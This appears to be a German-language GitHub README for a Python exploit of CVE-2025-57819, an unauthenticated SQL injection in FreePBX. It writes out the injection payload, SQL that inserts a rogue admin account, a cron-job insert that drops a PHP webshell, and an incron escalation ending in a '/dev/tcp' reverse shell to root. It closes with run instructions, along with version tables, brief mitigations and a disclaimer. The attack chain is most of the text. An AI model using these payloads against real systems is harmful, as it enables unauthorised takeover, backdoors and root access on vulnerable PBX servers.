
Python-Proof-of-Concept zur Ausnutzung von CVE-2025-57819, einer nicht authentifizierten SQL-Injection in FreePBX, die die Erstellung eines Admin-Kontos, die Bereitstellung einer Cron-Webshell und die Eskalation zu Root verkettet.
Nur für Bildungs- und Sicherheitsforschungszwecke – siehe rechtlichen Hinweis unten
Exploit-Proof-of-Concept für CVE-2025-57819, eine kritische nicht authentifizierte SQL-Injection-Schwachstelle in FreePBX, die Remote-Code-Ausführung ermöglicht. Dieser PoC wird nach der Veröffentlichung offizieller Patches ausschließlich für Sicherheitsforschung und autorisierte Tests veröffentlicht.
FreePBX-Versionen 15.x, 16.x und 17.x (unterhalb der gepatchten Versionen) sind anfällig für nicht authentifizierte SQL-Injection im AJAX-Handler des Endpoint-Moduls. Diese Schwachstellenkette ermöglicht:
| CVE-ID | CVE-2025-57819 |
| Typ | Nicht authentifizierte SQL-Injection (fehlerbasiert) |
| CVSS | 9.8 / 10.0 (Kritisch) |
| Betroffen | FreePBX 15 < 15.0.66, 16 < 16.0.89, 17 < 17.0.3 |
| Gepatcht | 15.0.66, 16.0.89, 17.0.3+ |
| CISA KEV | Ja (29. August 2025) |
GET /admin/ajax.php?brand=<PAYLOAD>
Der Parameter brand im AJAX-Handler des Endpoint-Moduls akzeptiert Benutzereingaben ohne Validierung, was zu einer fehlerbasierten SQL-Injection führt.
Überprüfen Sie die SQLi mit fehlerbasierter Extraktion via EXTRACTVALUE(), um den Datenbanknamen auszulesen:
x' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e))-- -
Fügen Sie einen neuen administrativen Benutzer in asterisk.ampusers ein:
INSERT INTO ampusers (username, password_hash, admin)
VALUES ('pbx_xxxxxxxx', '<MD5_HASH>', 1)
Mit gültigen Admin-Anmeldedaten authentifiziert sich der Exploit bei FreePBX und baut eine authentifizierte Sitzung auf. Session-Cookies werden gespeichert und für alle nachfolgenden authentifizierten Anfragen verwendet.
Webshell-Befehl in asterisk.cron_jobs injizieren:
INSERT INTO cron_jobs (modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order)
VALUES ('sysadmin', 'wx', 'echo <BASE64_WEBSHELL>|base64 -d >/var/www/html/shell.php', NULL, '* * * * *', 30, 1, 1)
Der FreePBX-Cron-Runner führt den Befehl als Benutzer asterisk aus und platziert eine PHP-Webshell.
Die PHP-Webshell wird unter /var/www/html/shell.php bereitgestellt:
<?php system($_GET['cmd']); ?>
Exploit fragt die Webshell ab, bis die Aktivierung erfolgt, und erlangt so RCE als Benutzer asterisk (uid=999).
Wenn incron auf dem Ziel konfiguriert ist:
/var/spool/asterisk/incron/ erstellenincrond (läuft als root) erkennt die Dateierstellung/usr/bin/sysadmin_manager mit dem Trigger-Dateinamen aufsysadmin_manager validiert die GPG-Signatur und leitet an den fwconsole-commands-Hook weiter/usr/sbin/fwconsole <COMMAND>help; bash -i >& /dev/tcp/LHOST/LPORT 0>&1Ergebnis: Root-Shell auf dem Reverse-Listener (falls incron verfügbar).
brandasterisk.cron_jobs führt Befehle als asterisk ausgit clone https://github.com/JazzTheRabbit/cve-2025-57819.git
cd cve-2025-57819
pip3 install requests
chmod +x JTR-CVE-2025-57819.py
# Setup Netcat Listener
nc -lvnp <Listener Port>
# Run The Exploit
python3 JTR-CVE-2025-57819.py <TARGET_IP> <YOUR_IP> <PORT>

| Version | Status |
|---|---|
| 15.0.0 - 15.0.65 | Anfällig |
| 15.0.66+ | Gepatcht |
| 16.0.0 - 16.0.88 | Anfällig |
| 16.0.89+ | Gepatcht |
| 17.0.0 - 17.0.2 | Anfällig |
| 17.0.3+ | Gepatcht |
Sofort:
/admin/ajax.php aus nicht vertrauenswürdigen Netzwerken einschränkensystemctl disable incrondDauerhaft: Auf gepatchte Versionen aktualisieren: 15.0.66+, 16.0.89+ oder 17.0.3+
⚠️ HAFTUNGSAUSSCHLUSS
Dieser Proof of Concept wird AUSSCHLIESSLICH FÜR AUTORISIERTE SICHERHEITSTESTS UND ZU BILDUNGSZWECKEN bereitgestellt. Der Autor übernimmt keine Haftung für Missbrauch oder Schäden, die durch dieses Tool verursacht werden.
SIE MÜSSEN FOLGENDES EINHALTEN:
VERBOTENE NUTZUNGEN:
HAFTUNGSVERZICHT: Der Autor ist nicht verantwortlich für:
Diese Schwachstelle ist:
JazzTheRabbit
MIT License